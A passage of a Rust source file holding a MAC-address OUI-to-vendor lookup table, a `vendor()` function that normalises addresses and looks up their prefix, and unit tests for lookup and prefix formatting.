("003ee1", "Apple"),
|
||||
("004096", "Apple"),
|
||||
("005056", "VMware"),
|
||||
("0050e4", "Apple"),
|
||||
("0055e6", "Apple"),
|
||||
("0056cd", "Apple"),
|
||||
("040cce", "Apple"),
|
||||
("041552", "Apple"),
|
||||
("0452f3", "Apple"),
|
||||
("045e3d", "Apple"),
|
||||
("04a151", "Netgear"),
|
||||
("04bd70", "Huawei"),
|
||||
("04c06f", "TP-Link"),
|
||||
("04d4c4", "Asus"),
|
||||
("04d9f5", "Asus"),
|
||||
("04db56", "Apple"),
|
||||
("04e536", "Apple"),
|
||||
("04f13e", "Apple"),
|
||||
("04f7e4", "Apple"),
|
||||
("04f938", "Huawei"),
|
||||
("080027", "VirtualBox"),
|
||||
("080028", "Apple"),
|
||||
("0836c9", "Netgear"),
|
||||
("08606e", "Asus"),
|
||||
("086266", "Asus"),
|
||||
("086361", "Huawei"),
|
||||
("086d41", "Apple"),
|
||||
("087045", "Apple"),
|
||||
("08863b", "Apple"),
|
||||
("08bd43", "Netgear"),
|
||||
("0c3021", "Apple"),
|
||||
("0c37dc", "Huawei"),
|
||||
("0c3e9f", "Apple"),
|
||||
("0c4de9", "Apple"),
|
||||
("0c74c2", "Apple"),
|
||||
("0c771a", "Apple"),
|
||||
("0c8063", "TP-Link"),
|
||||
("0c9d92", "Asus"),
|
||||
("0cbc9f", "Apple"),
|
||||
("0cbd51", "Ruckus"),
|
||||
("100c6b", "Netgear"),
|
||||
("1027f5", "TP-Link"),
|
||||
("1040f3", "Apple"),
|
||||
("104780", "Huawei"),
|
||||
("10bd18", "Ruckus"),
|
||||
("10bf48", "Asus"),
|
||||
("10da43", "Netgear"),
|
||||
("10feed", "TP-Link"),
|
||||
("14109f", "Apple"),
|
||||
("143004", "Huawei"),
|
||||
("1449e0", "Samsung"),
|
||||
("144d67", "Apple"),
|
||||
("145a05", "Apple"),
|
||||
("14cfe5", "Apple"),
|
||||
("14d64d", "D-Link"),
|
||||
("14dae9", "Asus"),
|
||||
("14dda9", "Asus"),
|
||||
("18a6f7", "TP-Link"),
|
||||
("18af61", "Apple"),
|
||||
("18c58a", "Huawei"),
|
||||
("18fd74", "MikroTik"),
|
||||
("1c151f", "Huawei"),
|
||||
("1c3bf3", "TP-Link"),
|
||||
("1c7ee5", "D-Link"),
|
||||
("1c872c", "Asus"),
|
||||
("1cbdb9", "D-Link"),
|
||||
("1cfa68", "TP-Link"),
|
||||
("200cc8", "Netgear"),
|
||||
("204c03", "Aruba"),
|
||||
("204e7f", "Netgear"),
|
||||
("2078f0", "Apple"),
|
||||
("209bcd", "Apple"),
|
||||
("20c9d0", "Apple"),
|
||||
("20dce6", "TP-Link"),
|
||||
("20e52a", "Netgear"),
|
||||
("20f3a3", "Huawei"),
|
||||
("244bfe", "Asus"),
|
||||
("246968", "TP-Link"),
|
||||
("2469a5", "Huawei"),
|
||||
("24a43c", "Ubiquiti"),
|
||||
("24dec6", "Aruba"),
|
||||
("282cb2", "TP-Link"),
|
||||
("283ce4", "Huawei"),
|
||||
("28c68e", "Netgear"),
|
||||
("28ee52", "TP-Link"),
|
||||
("2c3033", "Netgear"),
|
||||
("2c3afd", "TP-Link"),
|
||||
("2c4d54", "Asus"),
|
||||
("2c55d3", "Huawei"),
|
||||
("2c56dc", "Asus"),
|
||||
("2c59e5", "Aruba"),
|
||||
("2c5d93", "Ruckus"),
|
||||
("2cab00", "D-Link"),
|
||||
("2cb05d", "Netgear"),
|
||||
("2cc81b", "MikroTik"),
|
||||
("301966", "Samsung"),
|
||||
("3035ad", "Apple"),
|
||||
("30469a", "Netgear"),
|
||||
("305a3a", "Asus"),
|
||||
("30636b", "Apple"),
|
||||
("308730", "Huawei"),
|
||||
("3090ab", "Apple"),
|
||||
("30b5c2", "TP-Link"),
|
||||
("340804", "D-Link"),
|
||||
("341298", "Apple"),
|
||||
("3423ba", "Samsung"),
|
||||
("3460f9", "TP-Link"),
|
||||
("3497f6", "Asus"),
|
||||
("34a395", "Apple"),
|
||||
("34e894", "TP-Link"),
|
||||
("38484c", "Apple"),
|
||||
("388345", "TP-Link"),
|
||||
("3894ed", "Netgear"),
|
||||
("38aa3c", "Samsung"),
|
||||
("38b8eb", "Apple"),
|
||||
("38d547", "Asus"),
|
||||
("3c0754", "Apple"),
|
||||
("3c15c2", "Apple"),
|
||||
("3c1e04", "D-Link"),
|
||||
("3c3786", "Netgear"),
|
||||
("3c46d8", "TP-Link"),
|
||||
("3c5a37", "Samsung"),
|
||||
("3c846a", "TP-Link"),
|
||||
("3c970e", "Asus"),
|
||||
("3ca067", "Ruckus"),
|
||||
("3cab8e", "Apple"),
|
||||
("40167e", "Asus"),
|
||||
("40169f", "TP-Link"),
|
||||
("403004", "Apple"),
|
||||
("40331a", "Apple"),
|
||||
("404d8e", "Huawei"),
|
||||
("405d82", "Netgear"),
|
||||
("406c8f", "Apple"),
|
||||
("40984e", "Apple"),
|
||||
("409bcd", "D-Link"),
|
||||
("40a6d9", "Apple"),
|
||||
("40b395", "Apple"),
|
||||
("40e3d6", "Aruba"),
|
||||
("440010", "Apple"),
|
||||
("442a60", "Apple"),
|
||||
("4448b9", "Aruba"),
|
||||
("444c0c", "Apple"),
|
||||
("444e1a", "Samsung"),
|
||||
("446a2e", "Huawei"),
|
||||
("4494fc", "TP-Link"),
|
||||
("44a56e", "Netgear"),
|
||||
("44d884", "Apple"),
|
||||
("44d9e7", "Ubiquiti"),
|
||||
("480eec", "TP-Link"),
|
||||
("48437c", "Apple"),
|
||||
("4846fb", "Huawei"),
|
||||
("485a3d", "Samsung"),
|
||||
("485b39", "Asus"),
|
||||
("485d60", "D-Link"),
|
||||
("4860bc", "Apple"),
|
||||
("48746e", "Apple"),
|
||||
("488f5a", "MikroTik"),
|
||||
("48a195", "Apple"),
|
||||
("48d705", "Apple"),
|
||||
("4c1fcc", "Huawei"),
|
||||
("4c3275", "Apple"),
|
||||
("4c3c16", "Samsung"),
|
||||
("4c3fa7", "Ruckus"),
|
||||
("4c57ca", "Apple"),
|
||||
("4c5e0c", "MikroTik"),
|
||||
("4c60de", "Netgear"),
|
||||
("4c7403", "Apple"),
|
||||
("4c8d79", "Apple"),
|
||||
("4c9eff", "D-Link"),
|
||||
("4ce173", "TP-Link"),
|
||||
("4cedfb", "Asus"),
|
||||
("5001bb", "Samsung"),
|
||||
("503eaa", "TP-Link"),
|
||||
("506a03", "Netgear"),
|
||||
("50c7bf", "TP-Link"),
|
||||
("50ead6", "Apple"),
|
||||
("5404a6", "Asus"),
|
||||
("5425ea", "Huawei"),
|
||||
("542696", "Apple"),
|
||||
("546009", "Google"),
|
||||
("54724f", "Apple"),
|
||||
("5492be", "Samsung"),
|
||||
("54b80a", "D-Link"),
|
||||
("54c80f", "TP-Link"),
|
||||
("581122", "Asus"),
|
||||
("581f28", "Huawei"),
|
||||
("581faa", "Apple"),
|
||||
("583f54", "Samsung"),
|
||||
("5855ca", "Apple"),
|
||||
("586d8f", "Ruckus"),
|
||||
("58b035", "Apple"),
|
||||
("58d9d5", "TP-Link"),
|
||||
("5c0a5b", "Samsung"),
|
||||
("5c3275", "Asus"),
|
||||
("5c4ca9", "Huawei"),
|
||||
("5c5948", "Apple"),
|
||||
("5c628b", "TP-Link"),
|
||||
("5c899a", "TP-Link"),
|
||||
("5c95ae", "Apple"),
|
||||
("5c97f3", "Apple"),
|
||||
("5cd998", "D-Link"),
|
||||
("5cf938", "Apple"),
|
||||
("600308", "Apple"),
|
||||
("6032b1", "TP-Link"),
|
||||
("60334b", "Apple"),
|
||||
("6045cb", "Asus"),
|
||||
("60634c", "D-Link"),
|
||||
("606944", "Apple"),
|
||||
("606bbd", "Samsung"),
|
||||
("608c4a", "Apple"),
|
||||
("609217", "Apple"),
|
||||
("609ac1", "Apple"),
|
||||
("60a4b7", "TP-Link"),
|
||||
("60c547", "Apple"),
|
||||
("60de44", "Huawei"),
|
||||
("60f445", "Apple"),
|
||||
("60facd", "Apple"),
|
||||
("60fb42", "Apple"),
|
||||
("643e8c", "Huawei"),
|
||||
("645601", "TP-Link"),
|
||||
("6466b3", "TP-Link"),
|
||||
("647002", "TP-Link"),
|
||||
("6476ba", "Apple"),
|
||||
("649abe", "Apple"),
|
||||
("64b0a6", "Apple"),
|
||||
("64b853", "Samsung"),
|
||||
("64b9e8", "Apple"),
|
||||
("64d154", "MikroTik"),
|
||||
("680927", "Apple"),
|
||||
("68572d", "TP-Link"),
|
||||
("68644b", "Apple"),
|
||||
("687251", "Ubiquiti"),
|
||||
("68967b", "Apple"),
|
||||
("689c70", "Apple"),
|
||||
("68a0f6", "Huawei"),
|
||||
("68a86d", "Apple"),
|
||||
("68ab1e", "Apple"),
|
||||
("68ae20", "Apple"),
|
||||
("68d93c", "Apple"),
|
||||
("68dbca", "Apple"),
|
||||
("68ebae", "Samsung"),
|
||||
("68fb7e", "Apple"),
|
||||
("6c198f", "D-Link"),
|
||||
("6c19c0", "Apple"),
|
||||
("6c3b6b", "MikroTik"),
|
||||
("6c3e6d", "Apple"),
|
||||
("6c4008", "Apple"),
|
||||
("6c5ab0", "TP-Link"),
|
||||
("6c709f", "Apple"),
|
||||
("6c8dc1", "Apple"),
|
||||
("6c92bf", "Huawei"),
|
||||
("6c94f8", "Apple"),
|
||||
("6caab3", "Ruckus"),
|
||||
("6cab31", "Apple"),
|
||||
("6cb0ce", "Netgear"),
|
||||
("6cc7ec", "Apple"),
|
||||
("6cf373", "Samsung"),
|
||||
("6cf37f", "Aruba"),
|
||||
("701124", "Apple"),
|
||||
("7014a6", "Apple"),
|
||||
("703a0e", "Aruba"),
|
||||
("703eac", "Apple"),
|
||||
("70480f", "Apple"),
|
||||
("704d7b", "Asus"),
|
||||
("704f57", "TP-Link"),
|
||||
("7054f5", "Huawei"),
|
||||
("705681", "Apple"),
|
||||
("7073cb", "Apple"),
|
||||
("7081eb", "Apple"),
|
||||
("70f927", "Samsung"),
|
||||
("741bb2", "Apple"),
|
||||
("744401", "Netgear"),
|
||||
("744d28", "Samsung"),
|
||||
("7483c2", "Ubiquiti"),
|
||||
("74882a", "Huawei"),
|
||||
("748d08", "Apple"),
|
||||
("74911a", "Ruckus"),
|
||||
("74d02b", "Asus"),
|
||||
("74da38", "TP-Link"),
|
||||
("74da88", "TP-Link"),
|
||||
("74e1b6", "Apple"),
|
||||
("74e2f5", "Apple"),
|
||||
("781fdb", "Samsung"),
|
||||
("7824af", "Asus"),
|
||||
("7831c1", "Apple"),
|
||||
("783a84", "Apple"),
|
||||
("784476", "TP-Link"),
|
||||
("784558", "Ubiquiti"),
|
||||
("784f43", "Apple"),
|
||||
("786c1c", "Apple"),
|
||||
("788a20", "Ubiquiti"),
|
||||
("789a18", "MikroTik"),
|
||||
("789f70", "Apple"),
|
||||
("78a3e4", "Apple"),
|
||||
("78ca39", "Apple"),
|
||||
("78d294", "Netgear"),
|
||||
("78d752", "Huawei"),
|
||||
("78d75f", "Apple"),
|
||||
("78fd94", "Apple"),
|
||||
("7c0191", "Apple"),
|
||||
("7c04d0", "Apple"),
|
||||
("7c10c9", "Asus"),
|
||||
("7c11be", "Apple"),
|
||||
("7c6097", "Huawei"),
|
||||
("7c6d62", "Apple"),
|
||||
("7c6df8", "Apple"),
|
||||
("7c8bca", "TP-Link"),
|
||||
("7cc3a1", "Apple"),
|
||||
("7cc537", "Apple"),
|
||||
("7cd1c3", "Apple"),
|
||||
("7cf05f", "Apple"),
|
||||
("7cfadf", "Apple"),
|
||||
("80006e", "Apple"),
|
||||
("801f02", "Asus"),
|
||||
("802aa8", "Ubiquiti"),
|
||||
("803773", "Netgear"),
|
||||
("804971", "Apple"),
|
||||
("805719", "Samsung"),
|
||||
("80929f", "Apple"),
|
||||
("80be05", "Apple"),
|
||||
("80e650", "Apple"),
|
||||
("80ea07", "TP-Link"),
|
||||
("80ea96", "Apple"),
|
||||
("80fb06", "Huawei"),
|
||||
("84119e", "Samsung"),
|
||||
("8416f9", "TP-Link"),
|
||||
("841888", "Ruckus"),
|
||||
("841b5e", "Netgear"),
|
||||
("8425db", "Samsung"),
|
||||
("843835", "Apple"),
|
||||
("843838", "Samsung"),
|
||||
("84788b", "Apple"),
|
||||
("848506", "Apple"),
|
||||
("8489ad", "Apple"),
|
||||
("848e0c", "Apple"),
|
||||
("84a8e4", "Huawei"),
|
||||
("84b153", "Apple"),
|
||||
("84c9b2", "D-Link"),
|
||||
("84d47e", "Aruba"),
|
||||
("84f3eb", "Apple"),
|
||||
("881544", "Meraki"),
|
||||
("881908", "Apple"),
|
||||
("881dfc", "Apple"),
|
||||
("882593", "TP-Link"),
|
||||
("8828b3", "Huawei"),
|
||||
("88366c", "Samsung"),
|
||||
("885395", "Apple"),
|
||||
("8863df", "Apple"),
|
||||
("8866a5", "Apple"),
|
||||
("88c663", "Apple"),
|
||||
("88cb87", "Apple"),
|
||||
("88d7f6", "Asus"),
|
||||
("88e87f", "Apple"),
|
||||
("8c006d", "Apple"),
|
||||
("8c210a", "TP-Link"),
|
||||
("8c2937", "Apple"),
|
||||
("8c2daa", "Apple"),
|
||||
("8c34fd", "Huawei"),
|
||||
("8c5877", "Apple"),
|
||||
("8c7b9d", "Apple"),
|
||||
("8c7c92", "Apple"),
|
||||
("8c8590", "Apple"),
|
||||
("8c89a5", "Asus"),
|
||||
("8c8ef2", "Apple"),
|
||||
("8cbebe", "D-Link"),
|
||||
("8cfaba", "Apple"),
|
||||
("9017ac", "Huawei"),
|
||||
("9027e4", "Apple"),
|
||||
("902b34", "Asus"),
|
||||
("903c92", "Apple"),
|
||||
("904ce5", "Aruba"),
|
||||
("9060f1", "Apple"),
|
||||
("907240", "Apple"),
|
||||
("90840d", "Apple"),
|
||||
("9094e4", "D-Link"),
|
||||
("90b0ed", "Apple"),
|
||||
("90b21f", "Apple"),
|
||||
("90c1c6", "Apple"),
|
||||
("90dd5d", "Apple"),
|
||||
("90f652", "TP-Link"),
|
||||
("90fd61", "Apple"),
|
||||
("9401c2", "Samsung"),
|
||||
("94049c", "Huawei"),
|
||||
("940c6d", "TP-Link"),
|
||||
("949426", "Apple"),
|
||||
("94b34f", "Ruckus"),
|
||||
("94b40f", "Aruba"),
|
||||
("9801a7", "Apple"),
|
||||
("98288e", "Apple"),
|
||||
("9852b1", "Samsung"),
|
||||
("985aeb", "Apple"),
|
||||
("989e63", "Apple"),
|
||||
("98b8e3", "Apple"),
|
||||
("98d6bb", "Apple"),
|
||||
("98dac4", "TP-Link"),
|
||||
("98e0d9", "Apple"),
|
||||
("98e7f5", "Huawei"),
|
||||
("98f0ab", "Apple"),
|
||||
("9c04eb", "Apple"),
|
||||
("9c05d6", "Ubiquiti"),
|
||||
("9c1c12", "Aruba"),
|
||||
("9c207b", "Apple"),
|
||||
("9c28ef", "Huawei"),
|
||||
("9c35eb", "Apple"),
|
||||
("9c3dcf", "Netgear"),
|
||||
("9c4fda", "Apple"),
|
||||
("9c5c8e", "Asus"),
|
||||
("9c84bf", "Apple"),
|
||||
("9ca2f4", "TP-Link"),
|
||||
("9cd643", "D-Link"),
|
||||
("9ce65e", "Apple"),
|
||||
("9cf387", "Apple"),
|
||||
("9cf48e", "Apple"),
|
||||
("9cfc01", "Apple"),
|
||||
("a00460", "Netgear"),
|
||||
("a00bba", "Samsung"),
|
||||
("a01d48", "Aruba"),
|
||||
("a02195", "Samsung"),
|
||||
("a040a0", "TP-Link"),
|
||||
("a04c5b", "Ruckus"),
|
||||
("a08cf8", "Huawei"),
|
||||
("a0999b", "Apple"),
|
||||
("a0ab1b", "D-Link"),
|
||||
("a0d795", "Apple"),
|
||||
("a0edcd", "Apple"),
|
||||
("a0f3c1", "Asus"),
|
||||
("a42b8c", "Netgear"),
|
||||
("a42bb0", "TP-Link"),
|
||||
("a45e60", "Apple"),
|
||||
("a46706", "Apple"),
|
||||
("a483e7", "Apple"),
|
||||
("a49947", "Huawei"),
|
||||
("a4b197", "Apple"),
|
||||
("a4c361", "Apple"),
|
||||
("a4d18c", "Apple"),
|
||||
("a4d1d2", "Apple"),
|
||||
("a4f1e8", "Apple"),
|
||||
("a80600", "Samsung"),
|
||||
("a82066", "Apple"),
|
||||
("a851ab", "Apple"),
|
||||
("a8574e", "TP-Link"),
|
||||
("a85840", "Ruckus"),
|
||||
("a85b78", "Apple"),
|
||||
("a8667f", "Apple"),
|
||||
("a88808", "Apple"),
|
||||
("a88e24", "Apple"),
|
||||
("a8968a", "Apple"),
|
||||
("a8bbcf", "Apple"),
|
||||
("a8bd27", "Aruba"),
|
||||
("a8be27", "Apple"),
|
||||
("a8c885", "Apple"),
|
||||
("a8d0e5", "Apple"),
|
||||
("a8e2c1", "Apple"),
|
||||
("a8f5e1", "Apple"),
|
||||
("ac220b", "Asus"),
|
||||
("ac293a", "Apple"),
|
||||
("ac3613", "Samsung"),
|
||||
("ac3c0b", "Apple"),
|
||||
("ac5a14", "Ruckus"),
|
||||
("ac61ea", "Apple"),
|
||||
("ac84c6", "TP-Link"),
|
||||
("ac87a3", "Apple"),
|
||||
("ac9e17", "Asus"),
|
||||
("acbc32", "Apple"),
|
||||
("accf5c", "Apple"),
|
||||
("acd1b8", "Apple"),
|
||||
("ace215", "Huawei"),
|
||||
("ace4b5", "Apple"),
|
||||
("acf1df", "Apple"),
|
||||
("b03495", "Apple"),
|
||||
("b03956", "Netgear"),
|
||||
("b04e26", "TP-Link"),
|
||||
("b05b67", "Huawei"),
|
||||
("b065bd", "Apple"),
|
||||
("b06ebf", "Asus"),
|
||||
("b0702d", "Apple"),
|
||||
("b072bf", "Samsung"),
|
||||
("b07fb9", "Netgear"),
|
||||
("b09fba", "Apple"),
|
||||
("b0b98a", "Netgear"),
|
||||
("b0be76", "TP-Link"),
|
||||
("b0c554", "D-Link"),
|
||||
("b0ca68", "Apple"),
|
||||
("b0d09c", "Apple"),
|
||||
("b0df3a", "Samsung"),
|
||||
("b41513", "Huawei"),
|
||||
("b418d1", "Apple"),
|
||||
("b43a28", "Samsung"),
|
||||
("b44bd2", "Apple"),
|
||||
("b45d50", "Aruba"),
|
||||
("b4750e", "Netgear"),
|
||||
("b479a7", "Ruckus"),
|
||||
("b48b19", "Apple"),
|
||||
("b49cdf", "Apple"),
|
||||
("b4ae2b", "Asus"),
|
||||
("b4b024", "TP-Link"),
|
||||
("b4f0ab", "Apple"),
|
||||
("b4fbe4", "Ubiquiti"),
|
||||
("b808d7", "Huawei"),
|
||||
("b8098a", "Apple"),
|
||||
("b817c2", "Apple"),
|
||||
("b841a4", "Apple"),
|
||||
("b844d9", "Apple"),
|
||||
("b853ac", "Apple"),
|
||||
("b85d0a", "Apple"),
|
||||
("b85e7b", "Samsung"),
|
||||
("b8634d", "Apple"),
|
||||
("b8782e", "Apple"),
|
||||
("b88d12", "Apple"),
|
||||
("b89f09", "Apple"),
|
||||
("b8a386", "D-Link"),
|
||||
("b8aeed", "Asus"),
|
||||
("b8c111", "Apple"),
|
||||
("b8c75d", "Apple"),
|
||||
("b8e856", "Apple"),
|
||||
("b8f6b1", "Apple"),
|
||||
("b8f883", "TP-Link"),
|
||||
("b8ff61", "Apple"),
|
||||
("bc1485", "Samsung"),
|
||||
("bc20a4", "Samsung"),
|
||||
("bc2228", "D-Link"),
|
||||
("bc25e0", "Huawei"),
|
||||
("bc3baf", "Apple"),
|
||||
("bc4699", "TP-Link"),
|
||||
("bc4cc4", "Apple"),
|
||||
("bc52b7", "Apple"),
|
||||
("bc5436", "Apple"),
|
||||
("bc6778", "Apple"),
|
||||
("bc6c21", "Apple"),
|
||||
("bc8d0f", "Ruckus"),
|
||||
("bc926b", "Apple"),
|
||||
("bc9fe4", "Aruba"),
|
||||
("bc9fef", "Apple"),
|
||||
("bca511", "Netgear"),
|
||||
("bca920", "Apple"),
|
||||
("bcaec5", "Asus"),
|
||||
("bcec5d", "Apple"),
|
||||
("bcee7b", "Asus"),
|
||||
("c025e9", "TP-Link"),
|
||||
("c03f0e", "Netgear"),
|
||||
("c04a00", "TP-Link"),
|
||||
("c06394", "Apple"),
|
||||
("c07009", "Huawei"),
|
||||
("c0847a", "Apple"),
|
||||
("c08ade", "Aruba"),
|
||||
("c09f42", "Apple"),
|
||||
("c0a0bb", "D-Link"),
|
||||
("c0a53e", "Apple"),
|
||||
("c0bdd1", "Samsung"),
|
||||
("c0cecd", "Apple"),
|
||||
("c0d012", "Apple"),
|
||||
("c0f2fb", "Apple"),
|
||||
("c0ffd4", "Netgear"),
|
||||
("c4017c", "Ruckus"),
|
||||
("c40415", "Netgear"),
|
||||
("c40528", "Huawei"),
|
||||
("c42c03", "Apple"),
|
||||
("c43dc7", "Netgear"),
|
||||
("c4576e", "Samsung"),
|
||||
("c46e1f", "TP-Link"),
|
||||
("c47154", "Aruba"),
|
||||
("c4a81d", "D-Link"),
|
||||
("c4b301", "Apple"),
|
||||
("c4e984", "TP-Link"),
|
||||
("c80e14", "TP-Link"),
|
||||
("c819f7", "Samsung"),
|
||||
("c82a14", "Apple"),
|
||||
("c83a35", "Netgear"),
|
||||
("c86000", "Asus"),
|
||||
("c869cd", "Apple"),
|
||||
("c86f1d", "Apple"),
|
||||
("c88550", "Apple"),
|
||||
("c894bb", "Huawei"),
|
||||
("c8b5ad", "Ruckus"),
|
||||
("c8b5b7", "Apple"),
|
||||
("c8bcc8", "Apple"),
|
||||
("c8be19", "D-Link"),
|
||||
("c8d083", "Apple"),
|
||||
("c8e0eb", "Apple"),
|
||||
("c8f650", "Apple"),
|
||||
("cc07ab", "Samsung"),
|
||||
("cc088d", "Apple"),
|
||||
("cc20e8", "Apple"),
|
||||
("cc25ef", "Apple"),
|
||||
("cc29f5", "Apple"),
|
||||
("cc2d1b", "Asus"),
|
||||
("cc2de0", "MikroTik"),
|
||||
("cc32e5", "TP-Link"),
|
||||
("cc3e5f", "Ruckus"),
|
||||
("cc40d0", "Netgear"),
|
||||
("cc4463", "Apple"),
|
||||
("cc53b5", "Huawei"),
|
||||
("cc785f", "Apple"),
|
||||
("ccb255", "D-Link"),
|
||||
("ccc760", "Apple"),
|
||||
("d017c2", "Asus"),
|
||||
("d021f9", "Ubiquiti"),
|
||||
("d022be", "Samsung"),
|
||||
("d023db", "Apple"),
|
||||
("d02598", "Apple"),
|
||||
("d02db3", "Huawei"),
|
||||
("d03311", "Apple"),
|
||||
("d04f7e", "Apple"),
|
||||
("d05afd", "Aruba"),
|
||||
("d0667b", "Samsung"),
|
||||
("d07e28", "TP-Link"),
|
||||
("d0817a", "Apple"),
|
||||
("d0a637", "Apple"),
|
||||
("d0c5f3", "Apple"),
|
||||
("d0d2b0", "Apple"),
|
||||
("d0e140", "Apple"),
|
||||
("d45d64", "Asus"),
|
||||
("d4619d", "Apple"),
|
||||
("d468ba", "Ruckus"),
|
||||
("d46e0e", "TP-Link"),
|
||||
("d46e5c", "Huawei"),
|
||||
("d487d8", "Samsung"),
|
||||
("d49a20", "Apple"),
|
||||
("d4ca6d", "MikroTik"),
|
||||
("d4d2d6", "Apple"),
|
||||
("d4f46f", "Apple"),
|
||||
("d80d17", "TP-Link"),
|
||||
("d81d72", "Apple"),
|
||||
("d83062", "Apple"),
|
||||
("d838fc", "Ruckus"),
|
||||
("d84732", "TP-Link"),
|
||||
("d8490b", "Huawei"),
|
||||
("d850e6", "Asus"),
|
||||
("d857ef", "Samsung"),
|
||||
("d89695", "Apple"),
|
||||
("d89e3f", "Apple"),
|
||||
("d8a25e", "Apple"),
|
||||
("d8bb2c", "Apple"),
|
||||
("d8c7c8", "Aruba"),
|
||||
("d8cf9c", "Apple"),
|
||||
("d8d1cb", "Apple"),
|
||||
("d8fee3", "D-Link"),
|
||||
("dc0c5c", "Apple"),
|
||||
("dc2b2a", "Apple"),
|
||||
("dc2c6e", "MikroTik"),
|
||||
("dc3714", "Apple"),
|
||||
("dc415f", "Apple"),
|
||||
("dc7144", "Samsung"),
|
||||
("dc7412", "Ruckus"),
|
||||
("dc86d8", "Apple"),
|
||||
("dc9b9c", "Apple"),
|
||||
("dc9fdb", "TP-Link"),
|
||||
("dca4ca", "Apple"),
|
||||
("dca904", "Apple"),
|
||||
("dcb808", "Apple"),
|
||||
("dcd2fc", "Huawei"),
|
||||
("dcda4f", "D-Link"),
|
||||
("dcef09", "Netgear"),
|
||||
("e005c5", "TP-Link"),
|
||||
("e0107f", "Ruckus"),
|
||||
("e0247f", "Huawei"),
|
||||
("e03f49", "Asus"),
|
||||
("e0469a", "Netgear"),
|
||||
("e0553d", "Meraki"),
|
||||
("e05f45", "Apple"),
|
||||
("e063da", "Ubiquiti"),
|
||||
("e06678", "Apple"),
|
||||
("e091f5", "Netgear"),
|
||||
("e0b52d", "Apple"),
|
||||
("e0b9ba", "Apple"),
|
||||
("e0c767", "Apple"),
|
||||
("e0c97a", "Apple"),
|
||||
("e0cb4e", "Asus"),
|
||||
("e0d9e3", "Apple"),
|
||||
("e0f5c6", "Apple"),
|
||||
("e0f847", "Apple"),
|
||||
("e4121d", "Samsung"),
|
||||
("e425e7", "Apple"),
|
||||
("e42b34", "Apple"),
|
||||
("e450eb", "Apple"),
|
||||
("e458b8", "Samsung"),
|
||||
("e468a3", "Huawei"),
|
||||
("e46f13", "D-Link"),
|
||||
("e470b8", "Asus"),
|
||||
("e47cf9", "Samsung"),
|
||||
("e48b7f", "Apple"),
|
||||
("e48d8c", "MikroTik"),
|
||||
("e49a79", "Apple"),
|
||||
("e4b318", "Apple"),
|
||||
("e4c32a", "TP-Link"),
|
||||
("e4c63d", "Apple"),
|
||||
("e4ce8f", "Apple"),
|
||||
("e4e4ab", "Apple"),
|
||||
("e4f4c6", "Netgear"),
|
||||
("e8039a", "Samsung"),
|
||||
("e8040b", "Apple"),
|
||||
("e80688", "Apple"),
|
||||
("e8088b", "Huawei"),
|
||||
("e8102f", "Ruckus"),
|
||||
("e82689", "Apple"),
|
||||
("e82a44", "Apple"),
|
||||
("e848b8", "TP-Link"),
|
||||
("e8553d", "Meraki"),
|
||||
("e86d52", "Aruba"),
|
||||
("e8802e", "Apple"),
|
||||
("e88d28", "Apple"),
|
||||
("e89c25", "Asus"),
|
||||
("e8b2ac", "Apple"),
|
||||
("e8cc18", "D-Link"),
|
||||
("e8de27", "TP-Link"),
|
||||
("e8fcaf", "Netgear"),
|
||||
("ec086b", "TP-Link"),
|
||||
("ec172f", "TP-Link"),
|
||||
("ec1f72", "Samsung"),
|
||||
("ec2280", "D-Link"),
|
||||
("ec233d", "Huawei"),
|
||||
("ec3586", "Apple"),
|
||||
("ec852f", "Apple"),
|
||||
("ec8eb5", "Aruba"),
|
||||
("ec9bf3", "Asus"),
|
||||
("f01898", "Apple"),
|
||||
("f01cfc", "Apple"),
|
||||
("f025b7", "Samsung"),
|
||||
("f02f74", "Asus"),
|
||||
("f03e90", "Ruckus"),
|
||||
("f04347", "Huawei"),
|
||||
("f05c19", "Aruba"),
|
||||
("f07960", "Apple"),
|
||||
("f07d68", "D-Link"),
|
||||
("f0989d", "Apple"),
|
||||
("f09fc2", "TP-Link"),
|
||||
("f0b0e7", "Apple"),
|
||||
("f0c1f1", "Apple"),
|
||||
("f0cba1", "Apple"),
|
||||
("f0d1a9", "Apple"),
|
||||
("f0dbe2", "Apple"),
|
||||
("f0dce2", "Apple"),
|
||||
("f0f61c", "Apple"),
|
||||
("f437b7", "Apple"),
|
||||
("f4559c", "Huawei"),
|
||||
("f45c89", "Apple"),
|
||||
("f45fd4", "Apple"),
|
||||
("f46d04", "Asus"),
|
||||
("f483cd", "TP-Link"),
|
||||
("f49f54", "Samsung"),
|
||||
("f4e2c6", "Ubiquiti"),
|
||||
("f4ec38", "TP-Link"),
|
||||
("f4f15a", "Apple"),
|
||||
("f4f5d8", "Google"),
|
||||
("f4f951", "Apple"),
|
||||
("f80113", "Huawei"),
|
||||
("f81edf", "Apple"),
|
||||
("f82793", "Apple"),
|
||||
("f832e4", "Asus"),
|
||||
("f83880", "Apple"),
|
||||
("f86fc1", "Apple"),
|
||||
("f87394", "Netgear"),
|
||||
("f8ffc2", "Apple"),
|
||||
("fc0013", "Samsung"),
|
||||
("fc253f", "Apple"),
|
||||
("fc3497", "Asus"),
|
||||
("fc48ef", "Huawei"),
|
||||
("fc7516", "D-Link"),
|
||||
("fc7c02", "TP-Link"),
|
||||
("fca13e", "Samsung"),
|
||||
("fcc734", "Samsung"),
|
||||
("fcd848", "Apple"),
|
||||
("fce998", "Apple"),
|
||||
("fcecda", "Ubiquiti"),
|
||||
("fcfc48", "Apple"),
|
||||
];
|
||||
|
||||
pub fn vendor(mac: &str) -> Option<&'static str> {
|
||||
let hex: String = mac
|
||||
.chars()
|
||||
.filter(|c| c.is_ascii_hexdigit())
|
||||
.take(6)
|
||||
.collect::<String>()
|
||||
.to_ascii_lowercase();
|
||||
if hex.len() < 6 {
|
||||
return None;
|
||||
}
|
||||
OUIS.iter()
|
||||
.find(|(prefix, _)| *prefix == hex)
|
||||
.map(|(_, name)| *name)
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn finds_common_vendors() {
|
||||
assert_eq!(vendor("b8:27:eb:aa:bb:cc"), None);
|
||||
assert_eq!(vendor("00:0c:29:aa:bb:cc"), Some("VMware"));
|
||||
assert_eq!(vendor("F4:F5:D8:00:00:00"), Some("Google"));
|
||||
assert_eq!(vendor("nope"), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn prefixes_are_normalized() {
|
||||
for (prefix, _) in OUIS {
|
||||
assert_eq!(prefix.len(), 6, "{prefix}");
|
||||
assert!(prefix.chars().all(|c| c.is_ascii_hexdigit()), "{prefix}");
|
||||
assert_eq!(*prefix, prefix.to_ascii_lowercase(), "{prefix}");
|
||||
